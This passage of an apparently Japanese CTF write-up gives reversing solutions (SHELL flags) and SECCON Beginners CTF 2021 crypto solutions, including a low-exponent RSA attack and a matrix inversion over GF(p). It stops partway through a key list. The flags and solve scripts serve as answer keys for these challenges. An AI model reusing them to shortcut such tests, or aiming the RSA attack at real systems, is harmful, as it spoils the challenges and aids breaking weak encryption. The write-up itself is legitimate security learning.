    <+35>:   jle    <fun1+20>
    <+37>:   mov    eax,DWORD PTR [ebp-0x4]
    <+40>:   leave  
    <+41>:   ret  

上記のファイルを再現して、実行するとフラグになる。

#include <stdio.h>

int fun1(int n1, int n2) {
    int eax, ebp_4, ebp_8;

    eax = n2;
    ebp_4 = eax;
    eax = n1;
    ebp_8 = eax;

fun1_20:
    ebp_4 += 0x7;
    ebp_8 += 0x70;

fun1_28:
    if (ebp_8 <= 0x227) {
        goto fun1_20;
    }
    eax = ebp_4;
    return eax;
}

int main(void) {
    printf("SHELL{0x%x}\n", fun1(0x74,0x6f) + fun1(0x62,0x69));
    return 0;
}
$ gcc solve.c
$ ./a.out
SHELL{0x117}

SHELL{0x117}

keygen

Can you get the flag from the given file.

以下のファイルが与えられている。

def checkends(password):
    end_status = 0
    if password[:6] == "SHELL{":
        end_status = 1
    if password[28] == "}":
        end_status = 1
    return end_status
def checkmiddle1(password):
    middle1_status = 0
    if password[27] == "1"  and password[17] == "4" and password[8] == "n" and password[23] == "y" and password[10] == "0":
        middle1_status = 1
    if password[11] == "n" and password[12] == "z" and password[13] == "a" and password[21] == "g" and password[15] == "u":
        middle1_status = 1
    if password[16] == "r"and password[7] == "3" :
        middle1_status = 1
    return middle1_status
def checkmiddle2(password):
    middle2_status = 0
    if password[18] == "_" and password[25] == "5" and password[20] == "4" and password[14] == "k" and password[22] == "3" and password[9] == "b"  and password[24] ==  "0":
        middle2_status = 1
    if  password[19] == "k" and password[26] == "h" and password[6] == "s" :
        middle2_status = 1
    return middle2_status
# driver code

a = input("enter your flag:")
if checkends(a) == 1 and checkmiddle1(a) == 1 and checkmiddle2(a) == 1:
    print("congrats thats the flag.")
else:
    print("Wrong flag.")

check関連の関数内にある配列を並べるとフラグになる。

password = [''] * 100
for i, c in enumerate("SHELL{"):
    password[i] = c
password[28] = "}"
password[27] = "1"
password[17] = "4" 
password[8] = "n" 
password[23] = "y" 
password[10] = "0"
password[11] = "n" 
password[12] = "z" 
password[13] = "a" 
password[21] = "g" 
password[15] = "u"
password[16] = "r"
password[7] = "3"
password[18] = "_" 
password[25] = "5" 
password[20] = "4" 
password[14] = "k" 
password[22] = "3" 
password[9] = "b"  
password[24] =  "0"
password[19] = "k" 
password[26] = "h" 
password[6] = "s"

print(''.join(password))
$ python3 solve.py
SHELL{s3nb0nzakur4_k4g3y05h1}

SHELL{s3nb0nzakur4_k4g3y05h1}

sakuna

Somebody told me this executable has priceless info hidden.

とりあえず、strings を実行してみると、以下のようになった。grep 結果を見ると、フラグが分割されているように見える。

$ strings sukuna.exe  | grep SHELL -C 5
D$ H
AUATUWVSH
T$ D
[^_]A\A]
fffff.
SHELL{
5hR1n3}
M3L0v4l3H
CongratsH
 your flH
ag is coH

Ghidra で文字列の参照箇所を確認すると、strcat で文字列を連結していた。

f:id:tsalvia:20210609003446p:plain

正しい順番で、文字列連結するとフラグになった。

SHELL{M3L0v4l3nT_5hR1n3}

SECCON Beginners CTF 2021 Writeup

SECCON Beginners CTF 2021 について

SECCON Beginners CTF 2021 が開催されました。
2021年5月22日午後2時 ~ 2021年5月23日午後2時(24時間)

www.seccon.jp

score.beginners.azure.noc.seccon.jp

今回は、久しぶりに個人ではなく2人で参加してきました。 結果は 35/943 位、2841点でした。私も実際に12問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20210524001124p:plain
f:id:tsalvia:20210524082954p:plain

SECCON Beginners CTF 2021 Writeup(12問)

crypto

simple_RSA

Let's encrypt it with RSA!
simple_RSA.tar.gz 0bf8879ad05cc4b49a643f4ef3c8672468862d56
想定難易度: Beginner

output.txt を見ると、以下のようになっていた。

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

e が小さいので、Low Public Exponent Attack が可能

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

def low_public_exponent_attack(c, e, n=0):
    while True:
        m, is_perfect = iroot(c, e)
        if is_perfect:
            break
        c += n
    return int(m)

def main():
    e = 3
    c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
    m = low_public_exponent_attack(c, e)
    flag = long_to_bytes(m).decode()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

GFM

Github Flavored Markdown
Google Facebook Microsoft
And...?
gfm.tar.gz 0173234ba9eec065ffdf5ec88aed1e0e829f1038

想定難易度: Easy

probrem.py と output.txt の2つのファイルが与えられている。

FLAG = b'<censored>'

SIZE = 8
p = random_prime(2^128)
MS = MatrixSpace(GF(p), SIZE)

key = MS.random_element()
while key.rank() != SIZE:
    key = MS.random_element()

M = copy(MS.zero())
for i in range(SIZE):
    for j in range(SIZE):
        n = i * SIZE + j
        if n < len(FLAG):
            M[i, j] = FLAG[n]
        else:
            M[i, j] = GF(p).random_element()

enc = key * M * key

print('p:', p)
print('key:', key)
print('enc:', enc)
p: 331941721759386740446055265418196301559
key: [116401981595413622233973439379928029316 198484395131713718904460590157431383741 210254590341158275155666088591861364763  63363928577909853981431532626692827712  85569529885869484584091358025414174710 149985744539791485007500878301645174953 257210132141810272397357205004383952828 184416684170101286497942970370929735721]
[ 42252147300048722312776731465252376713 199389697784043521236349156255232274966 310381139154247583447362894923363190365 275829263070032604189578502497555966953 292320824376999192958281274988868304895 324921185626193898653263976562484937554  22686717162639254526255826052697393472 214359781769812072321753087702746129144]
[211396100900282889480535670184972456058 210886344415694355400093466459574370742 186128182857385981551625460291114850318  13624871690241067814493032554025486106 255739890982289281987567847525614569368 134368979399364142708704178059411420318 277933069920652939075272826105665044075  61427573037868265485473537350981407215]
[282725280056297471271813862105110111601 183133899330619127259299349651040866360 275965964963191627114681536924910494932 290264213613308908413657414549659883232 140491946080825343356483570739103790896 115945320124815235263392576250349309769 240154953119196334314982419578825033800  33183533431462037262108359622963646719]
[ 53797381941014407784987148858765520206 136359308345749561387923094784792612816  26225195574024986849888325702082920826 262047729451988373970843409716956598743 170482654414447157611638420335396499834 270894666257247100850080625998081047879  91361079178051929124422796293638533509  34320536938591553179352522156012709152]
[266361407811039627958670918210300057324  40603082064365173791090924799619398850 253357188908081828561984991424432114534 322939245175391203579369607678957356656  63315415224740483660852444003806482951 224451355249970249493628425010262408466  80574507596932581147177946123110074284 135660472191299636620089835364724566497]
[147031054061160640084051220440591645233 286143152686211719101923153591621514114 330366815640573974797084150543488528130 144943808947651161283902116225593922999 205798118501774672701619077143286382731 317326656225121941341827388220018201533  14319175936916841467976601008623679266 112709661623759566156255015500851204670]
[306746575224464214911885995766809188593  35156534122767743923667417474200538878  35608800809152761271316580867239668942 259728427797578488375863755690441758142  29823482469997458858051644485250558639 137507773879704381525141121774823729991  29893063272339035080311541822496817623 292327683738678589950939775184752636265]
enc: [133156758362160693874249080602263044484 293052519705504374237314478781574255411  72149359944851514746901936133544542235  56884023532130350649269153560305458687  67693140194970657150958369664873936730 227562364727203645742246559359263307899  98490363636066788474326997841084979092 323336812987530088571937131837711189774]
[244725074927901230757605861090949184139  63515536426726760809658259528128105864 297175420762447340692787685976316634653 279269959863745528135624660183844601533 203893759503830977666718848163034645395 163047775389856094351865609811169485260 103694284536703795013187648629904551283 322381436721457334707426033205713602738]
[ 17450567396702585206498315474651164931 105594468721844292976534833206893170749  10757192948155933023940228740097574294 132150825033376621961227714966632294973 329990437240515073537637876706291805678  57236499879418458740541896196911064438 265417446675313880790999752931267955356  73326674854571685938542290353559382428]
[270340230065315856318168332917483593198 217815152309418487303753027816544751231  55738850736330060752843300854983855505 236064119692146789532532278818003671413 104963107909414684818161043267471013832 234439803801976616706759524848279829319 173296466130000392237506831379251781235  34841816336429947760241770816424911200]
[140341979141710030301381984850572416509 248997512418753861458272855046627447638  58382380514192982462591686716543036965 188097853050327328682574670122723990784 125356457137904871005571726686232857387  55692122688357412528950240580072267902  21322427002782861702906398261504812439  97855599554699774346719832323235463339]
[298368319184145017709393597751160602769 311011298046021018241748692366798498529 165888963658945943429480232453040964455 240099237723525827201004876223575456211 306939673050020405511805882694537774846   7035607106089764511604627683661079229 198278981512146990284619915272219052007 255750707476361671578970680702422436637]
[ 45315424384273600868106606292238082349  22526147579041711876519945055798051695  15778025992115319312591851693766890019 318446611756066795522259881812628512448 269954638404267367913546070681612869355 205423708248276366495211174184786418791  92563824983279921050396256326760929563 209843107530597179583072730783030298674]
[   662653811932836620608984350667151180 304181885849319274230319044357612000272 280045476178732891877948766225904840517 216340293591880460916317821948025035163  79726526647684009633247003110463447210  36010610538790393011235704307570914178 284067290617158853279270464803256026349  45816877317461535723616457939953776625]

probrem.py を見てみると、素数からなる行列  \bf{Key} とフラグからなる行列  \bf{M} を定義し、それらの積を計算して  \bf{Enc} を求めている。


{\bf{Key}}=\begin{pmatrix} k_{11} & \cdots & k_{1n} \\ \vdots & \ddots & \vdots \\ k_{m1} & \cdots & k_{mn} \end{pmatrix}, 
{\bf{M}}=\begin{pmatrix} m_{11} & \cdots & m_{1n} \\ \vdots & \ddots & \vdots \\ m_{m1} & \cdots & m_{mn} \end{pmatrix} \\

{\bf{Enc}}=\bf{Key} \cdot \bf{M} \cdot \bf{Key} \\

よって、以下のように逆行列 \bf{Key}^{-1} で積を求めれば、元に戻すことができる。


{\bf{M}}=\bf{Key}^{-1} \cdot \bf{Enc} \cdot \bf{Key}^{-1} \\
import itertools

SIZE = 8

p = 331941721759386740446055265418196301559
MS = MatrixSpace(GF(p), SIZE)

key = MS.matrix([
    116401981595413622233973439379928029316,198484395131713718904460590157431383741,210254590341158275155666088591861364763,63363928577909853981431532626692827712,85569529885869484584091358025414174710,149985744539791485007500878301645174953,257210132141810272397357205004383952828,184416684170101286497942970370929735721,
    42252147300048722312776731465252376713,199389697784043521236349156255232274966,310381139154247583447362894923363190365,275829263070032604189578502497555966953,292320824376999192958281274988868304895,324921185626193898653263976562484937554,22686717162639254526255826052697393472,214359781769812072321753087702746129144,
    211396100900282889480535670184972456058,210886344415694355400093466459574370742,186128182857385981551625460291114850318,13624871690241067814493032554025486106,255739890982289281987567847525614569368,134368979399364142708704178059411420318,277933069920652939075272826105665044075,61427573037868265485473537350981407215,
    282725280056297471271813862105110111601,183133899330619127259299349651040866360,275965964963191627114681536924910494932,290264213613308908413657414549659883232,140491946080825343356483570739103790896,115945320124815235263392576250349309769,240154953119196334314982419578825033800,33183533431462037262108359622963646719,
    53797381941014407784987148858765520206,136359308345749561387923094784792612816,26225195574024986849888325702082920826,262047729451988373970843409716956598743,170482654414447157611638420335396499834,270894666257247100850080625998081047879,91361079178051929124422796293638533509,34320536938591553179352522156012709152,
    266361407811039627958670918210300057324,40603082064365173791090924799619398850,253357188908081828561984991424432114534,322939245175391203579369607678957356656,63315415224740483660852444003806482951,224451355249970249493628425010262408466,80574507596932581147177946123110074284,135660472191299636620089835364724566497,
    147031054061160640084051220440591645233,286143152686211719101923153591621514114,330366815640573974797084150543488528130,144943808947651161283902116225593922999,205798118501774672701619077143286382731,317326656225121941341827388220018201533,14319175936916841467976601008623679266,112709661623759566156255015500851204670,
    306746575224464214911885995766809188593,35156534122767743923667417474200538878,35608800809152761271316580867239668942,259728427797578488375863755690441758142,29823482469997458858051644485250558639,137507773879704381525141121774823729991,29893063272339035080311541822496817623,292327683738678589950939775184752636265,
])
enc = MS.matrix([
    133156758362160693874249080602263044484,293052519705504374237314478781574255411,72149359944851514746901936133544542235,56884023532130350649269153560305458687,67693140194970657150958369664873936730,227562364727203645742246559359263307899,98490363636066788474326997841084979092,323336812987530088571937131837711189774,
    244725074927901230757605861090949184139,63515536426726760809658259528128105864,297175420762447340692787685976316634653,279269959863745528135624660183844601533,203893759503830977666718848163034645395,163047775389856094351865609811169485260,103694284536703795013187648629904551283,322381436721457334707426033205713602738,
    17450567396702585206498315474651164931,105594468721844292976534833206893170749,10757192948155933023940228740097574294,132150825033376621961227714966632294973,329990437240515073537637876706291805678,57236499879418458740541896196911064438,265417446675313880790999752931267955356,73326674854571685938542290353559382428,
    270340230065315856318168332917483593198,217815152309418487303753027816544751231,55738850736330060752843300854983855505,236064119692146789532532278818003671413,104963107909414684818161043267471013832,234439803801976616706759524848279829319,173296466130000392237506831379251781235,34841816336429947760241770816424911200,
    140341979141710030301381984850572416509,248997512418753861458272855046627447638,58382380514192982462591686716543036965,188097853050327328682574670122723990784,125356457137904871005571726686232857387,55692122688357412528950240580072267902,21322427002782861702906398261504812439,97855599554699774346719832323235463339,
    298368319184145017709393597751160602769,311011298046021018241748692366798498529,165888963658945943429480232453040964455,240099237723525827201004876223575456211,306939673050020405511805882694537774846,7035607106089764511604627683661079229,198278981512146990284619915272219052007,255750707476361671578970680702422436637,
    45315424384273600868106606292238082349,22526147579041711876519945055798051695,15778025992115319312591851693766890019,318446611756066795522259881812628512448,269954638404267367913546070681612869355,205423708248276366495211174184786418791,92563824983279921050396256326760929563,209843107530597179583072730783030298674,
    662653811932836620608984350667151180,304181885849319274230319044357612000272,280045476178732891877948766225904840517,216340293591880460916317821948025035163,79726526647684009633247003110463447210,36010610538790393011235704307570914178,284067290617158853279270464803256026349,45816877317461535723616457939953776625,
])

M = key.inverse() * enc * key.inverse()

flag = ''
for i, j in itertools.product(range(SIZE), repeat=2):
    num = M[i, j]
    if 0x20 <= num <= 0x7e:
        flag += chr(num)

print(flag)
$ sage solve.sage 
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

Field_trip

Someone is getting ready for a field trip.
Field_trip.tar.gz 6efa6c52b324de267fdef730071c58fb003eba74
想定難易度: Medium

probrem.py と output.txt の2つのファイルが与えられている。

from Crypto.Util.number import *
from random import getrandbits
from flag import flag


flag = bytes_to_long(flag.encode("utf-8"))
flag = bin(flag)[2:]
length = len(flag)

A = []
a, b = 0, 0
for _ in range(length):
    a += getrandbits(32) + b
    b += a
    A.append(a)

p = getStrongPrime(512)
q = getStrongPrime(512)

assert q > sum(A)

pub_key = [a * p % q for a in A]
cipher = sum([int(flag[i]) * pub_key[i] for i in range(length)])

f = open("output.txt", "w")
f.write("pub_key = " + str(pub_key) + "\n")
f.write("cipher = " + str(cipher) + "\n")
f.close()
pub_key = [1627727230910376679190305250495462377673127325457772051463473603239280851247844857775094804468541458382943793317239787693930638537905012556126829098198853, 11390077915029058809550131014512708496324218365383793403681859478983277851788559377973666759678894435638593981031042225181697704452107123180828946159773515, 8179148350749291474514716907983121255146115753248586194447416551426945499482207275600097490935543753034574160607266468264368850157525750760264486882342004, 10941812031082272057798702874172927467797501065302416966001023128384698906928085390135010716098940533908593173515390255250462556662539593195364174183111378, 3614745341275480428658319936106342479447545475997102535381861144548202616710068200734103360803941309632252623075660097928171614636575252144104941167875823, 823178354506932008674641402551278888372261897630495965386060191754392263016108442664620321118524856044971184623847186758394463971043188530296897451771186, 6126448477839481210946440528787637248330004648968502621267179732866433426925983876878526325407025084527441161833253484921016836135453814544622972372789122, 7466110955532217718350434679985113267727029661150471938943244057893689660733974538173921362412025690616586611377720710981300593198085731197422760123486823, 8494763827840222748734700648979436004399105472251068803766808893440611752185480154140145100605542790978072404829682982969121103538123360622748789468463235, 11189720630530432372988722422207131896593163626212669159020725119617893436033981396794415249303994853786917522131094575897127888600143225647812363683556711, 1715148450280854136862317182605666023423823213970399964487054641958918804151884265498646179998842243400236338074592006759506277918874694729594147582035223, 5540431799313225600289987101975658390666115836842131612473239501357335750526216599306611213275093940185339830230979569745307094862150569297375944630143685, 6065288708774786746551562482382919833260656987958350973874133802701002919726540869583838838759287884702711861900261459529790522631020994523440533144502775, 7234486161196695664277498569820928727263659579862329533231742765775361673322113762206501017047056413054134570841827024859772736445100885511621826030636721, 5790466157587780811391418203868871988082506102567632509545303269169653572768191738557448523974150628231236540920327049499163032154806889411357922070960923, 614487011969781591950160360975242589085019947676643049152128264494968822101147186721613098402364118730615692871650144954496839040414405067974702421023905, 2278335646833352836053675691559323543806718574568397090218657707516163081796224967487437830189535674711866517339720796812479305160299543957122930902733680, 134879407361379889128094711300170056598390106523526115878191161673136372971584663792937617159109985222609270062841930765578765868002121297161450924875670, 9519287056894525158582578864977452979099306021811340603346876269211863740542948640369599220180050455648379571390554225127442591697808606219706674595426234, 8402285089367247619745011222681496327228844899382581802919813910782074703470238610758895365966927878107041275900491204851884282695630780037206677089073743, 5406457121320262339650448405765205909738170940504528472739736687195948514104117332533865686024659827591710796087546713263642562769582609048315709994928120, 3801142902357168548686125964812533589729813463183268403565815227989154972362571932731819983704767934865803934241215040857671291683075724662922338415917182, 5436947858801618770870878269048974285422847359285195936610682423767931295811884290027916455982229786770673284249525164815726004308812462166914799567512132, 3815052792278989714677334168820537877167491234877274326563177152219263932218376863319752340985935154603585067421571719480783708315218297849199545235122158, 7027654996878753275961749122684655552094983534693747937102146760033187963841168663352245494579053154889790710851894666675012966264073470852357878798185461, 1902120513092875903338226046347919002820646057582844141644280347474263924997621676201569803130224359726311851288100274056706312976734099927488849060865100, 11761048354354487182165243290860187512062141561289470397986167013898235429358707127696368115069038004916028536939325487876797540965691324574012326619996716, 9757529573128395073155274559294819779368946395358435204233094762544296369601908201919613288263346489553542399982377228944641012976067072706476767936937491, 2453946098113482646488949231406349598804639726542182990917700647199960018577504360015030201773257233191736013580250768440614299316063045659162111320187018, 9319706037803173583171999553640056770008389931059980211073835507260771807765054342788152787019226685278576061693822692868824482538539619437423931723867638, 2415898081000285885317495095869472168214386057550401076099272996668473089357177847144038836740891535925645870811083042646884362664103196192764729813731836, 6831371739629516878762522327702302241691133397282458321594420516244457682248807904681947662649834044913983745000847132408435191823193733626430289939177704, 8911487453444536593323920821809421883218471526912139746762963559650262957593522887117811194390719914863010957953813489075136297325877225195754168400092143, 10827165969679594628739062220054978610293037445161650396571452340162805594515879042614168001849163738612474327713960410907001062746512950632119899645486165, 704502156006234895839438994186203068165985741674000184830486957231155986311282679180631398966930213171517941820858545126492495344870861094407012184640823, 4290415868027081329996593194887552166008805715995986555372686051077953073250496320908121226211705000105956461168744315858180066368242874040891532657113169, 10545064273500469407002351635866768900216078230158001025925896743623392315718385811101431137913336305418674086955813416589952935610377379991777656464560904, 222038761397496749360785916329206840697038382632411616626840724191778442228487034550449387870944140465498765132320783016190199911880849496664880021486811, 1441186128607304956019821803029517117342542746331149661877318328445155144327519269434552605831697245827929704875263722242762828396110183771144964459394537, 6262035322760676455872259557860354851246503548034172638052912261395035948982118234312601487324050800839022328905285373880135361896745345697099469992851131, 4524184613244291795109754414667150818999629856838115549409097166729848395081524481473123941545320222662731732155390386071843025802825179816381298820729824, 5283966263613790830455133450578806522976393376747821388280595897660468710659040194781402893846259456267710256514673635793738636888433235312976117540997670, 734269568748111640052090946231180906652495087236442702545338576377208172123085276589342632556585327179776362520321678519591781841790141214498484270905176, 9451656806863570616172924236279721588970386798009311529339115014539046020513297990270343561908720603044124605812085133334217197137400578937155121179082520, 3051642371650657054700521038491519744705758620980094104902981323717627057520029747610177450175370083995813698968822095618298179968058178062764130608659423, 7138952449752237733780319852689997148652360533005590188952403508900689828377062768778919668480243722079246374005954390574613559146429228635500313866647830, 338855726414699556488111033893516095818452279804805254966111715246104055445804382690731870669031649972111753917285671926417016391990572580298041758371253, 9434338110989485656020470689018936204735538469042920590064694759331237737230785701304245293791165210985574378910680725501788497370867036347820422455861008, 11743357680578349359162842808973807055764041927045206000202223764225228589230152100644412242832121778126080931892859490461297768718139167127509484426935516, 10809477666198375316415855765052746110763351926084144990851771467019653102707561871201368035835499988211685995329231458471783072292334735121148934257474481, 8361290012462548161951254835930186683493837370922544617362025529237532210142924359445724137459698924851513253914440872353889163895924265960022186220544709, 9110331121231523509307877539206254496672950206166437894520019335519961179869340990239003361109383043974388021961851540679419112950782472645836218947069184, 10393081243233784801735338636405290390807650076446916623218248492311682427662136868388090954521461644084639834083277464607638024855738147795387101337574226, 8635144191933378357854933636265474571012056586049858041465470568749464263500256261392037808005866345720862774122069273582266436367817433458956532049780774, 4418352683953086382401924269854964217677896486679104773071252777228873262401683489714714052284264053149769016874563276933086640659387489800484854697533082, 11405236243645314277535277368602821528967628188171456747788000113810218023475667423693365373226884179614448925519215120109302962469860586286886119774049347, 2771015879550163030165657530654451086641677020792616747235577420773494369048734442366451848062127222028674614372620701644053503582161481006114727140581880, 9898040106597885401583759646390295107361734996622402136464938780239784598493749472168979827154809586241421519720993011993090134889937532355080074694914236, 5777113427214185313997366187449136632797879082988812318910143048720548368905732814341066506919809935796023024351923191808765189492249761422655292085807672, 629078785533612849316912686429345503590958550796433801577651410881398124391524995844450352946049732397726053930432847836219823262977515490137563736301854, 10801401295641411092684548694395594070024865629243283117987852161404597651908799260812686233176670601757986605943575400167658544559357084608391881834446315, 230070532084711979714073115090944140276333108429708057888154566997156763934572283796043255414920534623439966012683795418379115522344166096620802666822158, 2653141234649791159270555987752178497577182383710867439287180210805265047951979750613536416122211396079337182535060893836409041761200653941413783366601647, 9819385030911488229711423422290746871860893626170080234281491318242107780563809621339193314159985954076683835744606911808745839075685015953738930366461504, 10787755099446585851067558577389646651361480328446469420228814545570006340103348743933813554961768885774075313271971611985063086273746596057549133130286996, 10263252536258338191094138495727374812304043040018874292736338983366473600613438579330512622405111321614329014124397343691422153751941094425939148115419144, 8264896351960310713538344637075442139532971304017521357074393238425679130058257615139742072920826381868768043200623504461528962772634922574219204008611446, 2147098598151809758012396937896797587780500058011635682566222787994691651248284456431917338694337594118487127099227127261521149212812046027401283431626653, 835919714553401942404334437551365593064566099647192274874446759913634276581629201627681467376279981880841428500989955273531853693899249169333824801078750, 3137791999402738811435798454665497017869650524841428289369351443750201278747862575707706000714058324362992205288888567315278677490077727774835379088436006, 1349083629045995316048152731789283957044698996027937078185713363080897115381735648010571340344037922487894330206612400451771128607496786215899669980572631, 7151470156920468764362424494490172229163475650617111710841057240618925425354832625922496799292567847545183967966217669595274609257135294729383362095738774, 969214900808450132888751546918076429566821040071276149919254643349125098280414720732281136532422094620745562927599642733412626063657268885891539827291347, 6837332378607129931141030022171984123309503518721395037825344337090610567350813310712435580992877616537619887480522470873869606202135747709672130000907665, 8364995496256554616029977590294874242060213310040785018239136897992699511676399955908119484626044885062103507697132148339409250907597810483796867399165984, 11150349307177473530307176249702818877580126605366046220776402492478240524483158185915502079277290319184145846124682470893997182480458282506949040910499392, 1658289696192983790897943272438520487042075314752724083703126291291970666851342327974958388331127028328164897980277317490557958037865872463479747423524926, 9131362533429004401441350892122360841764586109487383276247013461128740601257141642707756754491618871428100079351302334977304105019443858133126184771545043, 9330397298855941369542973735462725696662687125148526787140181659060684716824505001027119473890099274372275476966877359227102525263938755962082724482518050, 10253738743836159588621071259178219022563765128400530571588761301542176945143921956862350468019119752368079008322471485199577898502308114141549691485328119, 11600594703900902422866629561800220560103998368093720941938164737980026015168964844534647856810134441227007791139257922310172433764469537384240765031240277, 2244615925157610777383156726581397246130116260122731876532858274705570510773554286422504200282490618833439009494062776847822891629410146208293931139019598, 9733004403706149967520978404543771261324511435667728541178207212979721154676382281225409760729300022193360065470568452825325123972934958237623605165978375, 254354500603048544344274289207513537562120915759345747274593609495132631100017756321505502767286130589730909912096517138306900867943453650871702051139820, 8370794524988243638695092359570003691661556745490662742148202903860415924783217755602807126418561604959238898020252625472585689205979031497593592055937411, 8794340191988240556017659906713384748965043778452355164633928970799666465022803989063363371175889737930849051628085913544959957566363686438835153843412939, 5332480590532842430323558618578543509309546254138522597994235482505696944206135906595816348986471057105575982103534851867035705911825105890554636399117959, 3950651369214765379669331091209846132473398609747032844881769499832818398279627204457821432880778469543121042120812033753781942045800062715602362551437446, 8764597745555787966301901389786365105087694140863727334245233470132110641169237259387203997461935069288656230569502194991969216616783525833400312149135717, 10893671311442357810344005102450557175906931304022699347689646165105262580304776183017675980891676148589951193879822475240682617753093939204073908090934123, 9279851910251720350566986284138542667714345125643347097239195337905126099452241423018671935749811042002501428789486379723371928823690546158499167561377363, 7467311785687010437555773880658735452282769858571517461749051862992815684658577766003123130545826154620513903602757430481744043605817836120355235645161971, 5108725545796520008985875560900754734992617221769641586339788732236758184078757049778190729232684046606028473386534748941226434872542329986204159374865318, 11867699353985069790536624225866578465253057547038747367192323201103495572410886289392307344367210629571626846502738311475794548637804314691361883633660854, 3307955753584481516914855590837996820524452980430232447056686239509247300748140903481811349702734702088092190468590865868219632872299773637242697461456553, 10198102385245501857792898248520943901262126311232584209734399129163853603686024999279049967928201510400871689285418724239616764378384016527780204413216674, 8228299095729026478677409017032361626919004386605335618535716218424202290478453122140182082896822897053196677144530584164608155945616171423914566350006168, 5112786368092391279903606929743330066336471986263730056133931970470350367734928619591357871627106533582770983308703750603891628446704447489958729107713715, 10469735493230359064821542968197039289870670760006858877107911033538981312661996508702709711101453750156345711233887576764596618880116679535070758686367835, 9196198524335526563875694798089709262412006598320807967509365313289345737999012223767852725432769548784378062829358869705294718633979410353031005678221802, 6683277380933096532362852252484564886247729619973370408526339212096381484171620318859617374568197001310631889191807697663323642106913958849690224925461694, 9529613981769374073447341366884871937833846177760706872163980387662932372533823749575103833419092123484129940660046036074238463645988110467224610841798396, 2266794669069907087687293539109983357111262788594707965340396512153714241039180932421689734859164235712168843370543545431747673801363827867496870372125336, 1866657295458158454881522810715564591136349581564835527057025586296173873670918151349885379247546649061814138440749434231115994040006915887222214832216793, 9148338051604628974249176335472004157326441570701111334833644249222513670344916886670861683334321358810579899657217206257613558265823876085505454588007968, 3150970195117521652874271187992011688081846017889819628953971423349119288736936005559152214262722455740251518841347209225787560336272283302792820677155456, 2654815978280349195745421700490321540189264095484815485625765415487938591288435811537239820689235000000161324407221020096227903798822533164408384845279219, 10613712470437968081140979473098189731268139640670987306626304368616232817231479865616941989006606100283262512680880271451166161316286745812304949833618532, 584771700542193176410575206781719730381455972184594687314858310873745548037581699189913439808225843016877940196620523275735084018626160581660280994642977, 7752227206782612731330946605694126516789657852557775310044628700046190614760547318085553165126745983752673912673179603938501945102414356429679923126279635, 6181114125680462568335637321427121237211288385454147219539532450576260468665546332121469615286892296528834796051391696892578291511969538036639317451275393, 9135050673473900291782130971149267435204316475664597051965244543275596770270798810469766060093645817494350474433396115526366874458378951375630266775342673, 10823484837094701160540558686227927842943057819522139544135134044387262556730658594806349353577086449873005218586065819838718307881055159834974985844681301, 9983072533960933746418223838369711407232082297937881132317170649759456192810500555555337035974971942717934370671547654549936811199706777826630199849997893, 9496860292179603670920445704807780801671759827403400028732735007396868161785125605066594722355616018953537321578676302542059539384517799908274423326672419, 1703385660623950359050969801655519572699157230875334655419427425211519057467450009673619270811656302454948012601207060423808873812556848095400818203864, 1124824934298417769296957031482302153675496794359839176778073940948277366770010987547411988487713939288525606195470668176368430409031376391243742928188737, 3229481917557768819829086515377643522962590749891024608854142700316113763497423916549064184792610168714433142930480984048981188717417434429561511671863340, 8294104032436327777486159971264402767334649287841961190030297139466131416369517365641129837491598616986084921647405266807970727164692073754656655602529261, 10841558702848626512201447043784390704658214933053467482697472164169627348933072901533434861934797167954203691251466593055982136720490185778511573725463091, 3178930784687138843088596584997903179579922587867410882667347234930875487458734591193687966659517370268916417823125671401884196339836390571169682168714634, 7454151195962571505291413229201537150280824884428852910895643182678249719784935336643779191181482778848818993208221255258132534583411781119205078130090493, 2015156865486836120778682378960560170098671955237858754748152131638573845290736893280308181218687853014604174145816633360273506979314685066746558185772213, 7518280147605752377356085467400615547824826179564770315069235526007505409683817948956679988243512932507522237221929606038316891387806953147114552195723037, 2024819075929565623167333132137655283846300903116425428839619347379614001726638635657985601976090872185635173118822397894048579095835679930797308966510161, 6215993704628241793832033783162789293924516338030608992171516163123272062860326445636293235015378684705933988212973591046212191958652259015996841348525233, 10721074643733864954970318017687419861549782195881708432332255884413370619291750997381857646366632973722794738669419561902209255528214363399300572318598976, 11051099778413936201588813479333950625696456591449077944829525186174150306810041964709311295480133149976157065280899311313708649194744567649855692630214364, 1688310516465382129824706766300320323086828782213510237597315430363470883127564821837914550530086658434882374985922949368294443247364921794573340486906238, 3192364479471168028710837283899918625935362325330335301033556406770563105461096419504116373286876626652315031493543268384008485267512339959435053933841313, 10572194847482440812332986591051630462883201860708366563698662854481883222498284684687782612499400666528966898408853346133591660937905688329633621416854553, 3947736123018809396047345259826555348314283757126565484195977099646537310353904000152697460719528310696082204835098702895122864267256319395558913520116392, 11182766638391936877995854197520085129151384977709217790829422656082419193097932980148237939707803168327610358370853571892812158944282257498680855767229677, 3785005419673190260210131419611296437580991153996528806706953071932484677468263744891384933085989064774778069519276028906778427000799962507340099134917935, 5080917081750594708323405365145453207238012111759111382500875071859284459953169985334929889554817530710648209427731938198054042780871188922340543142924939, 4048618658491596677603187303911377706030641697591465631347400097836527581077675625158162761353955215178164330226108795767011183973412955473474219799087197, 10756640002316419897851435267941668380681904604159814743578516612294764433749019434802471420890142162949979364053015555721098798895592890837753394402601600, 